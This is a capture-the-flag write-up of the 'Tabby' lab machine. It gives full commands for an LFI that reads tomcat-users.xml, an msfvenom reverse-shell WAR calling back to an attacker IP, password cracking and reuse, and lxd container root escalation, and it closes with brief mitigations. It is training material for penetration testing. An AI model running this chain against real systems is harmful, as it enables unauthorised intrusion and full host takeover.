Tabby
Tabby simulates a corporate server hosting a vulnerable file sharing platform exposed via LFI (Local File Inclusion).
Initial access was achieved by abusing a misconfigured Tomcat instance with exposed backup archives, leading to credential reuse.
The foothold involved a low-privileged user with access to internal files, including MySQL configuration.
Escalated to root by leveraging ashley
’s membership in the lxd
group to launch a privileged container with the host’s root filesystem mounted.
Why I Chose This Machine
I chose Tabby because it simulates a common enterprise scenario involving exposed file backups, insecure Tomcat deployments, and privilege escalation through container misconfigurations.
It also offered an opportunity to practice chaining multiple steps — file extraction, user pivoting, and LXD-based container escape.
Attack Flow Overview
- Discovered a
.zip
file in the HTTP server exposingtomcat-users.xml
and credentials - Logged into Tomcat Manager using recovered credentials and deployed a WAR shell
- Gained initial shell as
tomcat
and pivoted toashley
using a password found in local backup files - Found
ashley
is in thelxd
group, and used this to create a container mounting/
, allowing root access throughchroot
This box replicates real-world missteps in service exposure and user privilege delegation.
Enumeration
- Navigating to
:8080/manger
prompts for credentials. When clicking cancel, the error page shows/conf/tomcat-users.xml
.:80/news.php?file=statement
is vulnerable to LFI. Fuzzing for LFI gives/etc/passwd
.- Googled the location of
/conf/tomcat-users.xml
for Tomcat9.- LFI on port 80 for
/conf/tomcat-users.xml
and inspecting the page source provides the credentials for tomcat user.- Fuzzing directories for
:8080/manager/FUZZ
reveals/manager/text
- Googling returns Tomcat’s official documentation which states that commands can be executed through this interface.
Nmap
└─$ nmap -sC -sV -p- 10.10.10.194 --open
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-30 13:35 AEST
Nmap scan report for 10.10.10.194
Host is up (0.022s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA)
| 256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA)
|_ 256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Mega Hosting
|_http-server-header: Apache/2.4.41 (Ubuntu)
8080/tcp open http Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80-HTTP
Web
http://megahosting.htb/news.php?file=statement
file
parameter is vulnerable to LFI
Gobuster
Fuzzing for LFI
wfuzz -c -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt --hw 0 http://megahosting.htb/news.php?file=../../../../../../../FUZZ
/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
tomcat:x:997:997::/opt/tomcat:/bin/false
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
ash:x:1000:1000:clive:/home/ash:/bin/bash
8080-HTTP
Manager
Click cancel
please examine the file conf/tomcat-users.xml
in your installation
view-source:http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml
tomcat: $3cureP4s5w0rd123!
:8080/host-manager/html
http://10.10.10.194:8080/examples/jsp/snp/snoop.jsp
Gobuster
---- Scanning URL: http://10.10.10.194:8080/host-manager/ ----
+ http://10.10.10.194:8080/host-manager/html (CODE:401|SIZE:2044)
+ http://10.10.10.194:8080/host-manager/images (CODE:302|SIZE:0)
+ http://10.10.10.194:8080/host-manager/text (CODE:401|SIZE:2044)
https://tomcat.apache.org/tomcat-7.0-doc/host-manager-howto.html
$ curl -u ${USERNAME}:${PASSWORD} http://10.10.10.194:8080/manager/text/list
# Tomcat version identification
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
https://github.com/p0dalirius/ApacheTomcatScanner
Initial Access
- Craft a
.war
reverse shell using msfvenom and upload and deploy following the Tomcat’s official documentation achieves the initial access as tomcat user.
Creating a war
file and deploying it to the server
- A
war
file is an archived Java application.
Create a reverse shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.50 LPORT=9001 -f war > shell.war
Upload a reverse shell
curl -u 'tomcat':'$3cureP4s5w0rd123!' -T shell.war 'http://10.10.10.194:8080/manager/text/deploy?path=/my-shell'
List deployed shell
curl -u 'tomcat':'$3cureP4s5w0rd123!' http://10.10.10.194:8080/manager/text/list
Start netcat listener
rlwrap nc -lvnp 9001
Execute the deployed shell
curl -u 'tomcat':'$3cureP4s5w0rd123!' http://10.10.10.194:8080/my-shell/
Lateral Movement
- Enumeration of the directories and files reveals the archive
/var/www/html/16162020_backup.zip
, that is owned by the user ash, and password-protected.- Crack password using zip2john.
- Re-using the same password for the user ash gives access.
su ash
.
Linpeas
/var/www/html/files
Cracking the password for the zip file
admin@it
Privilege Escalation
- Linpeas output reveals that the user ash is part of
(lxd)
group.- The lxd (Linux Daemon) is a system container manager, that controls lxc (Linux Container).Linux Container (LXC) is a virtualization technology that runs isolated containers using a singleLinux kernel. It is possible for the user ash to create a privileged container and then use it to mount the host filesystem.
- Follow the instructions on the Internet to gain root shell.
Ash user
Linpeas
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation
Lxd/lxc group privilege escalation
A member of the local “lxd” group can instantly escalate the privileges to root on the host operating system. This is irrespective of whether that user has been granted sudo rights and does not require them to enter their password. The vulnerability exists even with the LXD snap package.
https://github.com/saghul/lxd-alpine-builder.git
# on Kali
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder/
./build-alpine
python3 -m http.server 80
change directory to
home/ash
# target
wget http://10.10.14.50/alpine-v3.13-x86_64-20210218_0139.tar.gz
/snap/bin/lxd init
# enter (default) for all prompts
/snap/bin/lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias alpine
/snap/bin/lxc image list
/snap/bin/lxc init alpine mycontainer -c security.privileged=true
/snap/bin/lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
/snap/bin/lxc start mycontainer
/snap/bin/lxc exec mycontainer /bin/sh
Alternative Paths Explored
I attempted to escalate through cron jobs and SUID binaries before realizing the LXD group membership.
The user pivot wasn’t immediately obvious — the ZIP archive had to be closely inspected to uncover credentials for ashley
.
Blue Team Perspective
Tabby demonstrates how improper backup exposure and overly broad group memberships can lead to full system compromise.
To mitigate:
- Never leave sensitive config files in publicly accessible directories
- Restrict LXD and Docker group access to trusted administrators
- Monitor archive access and container creation events for anomalous behavior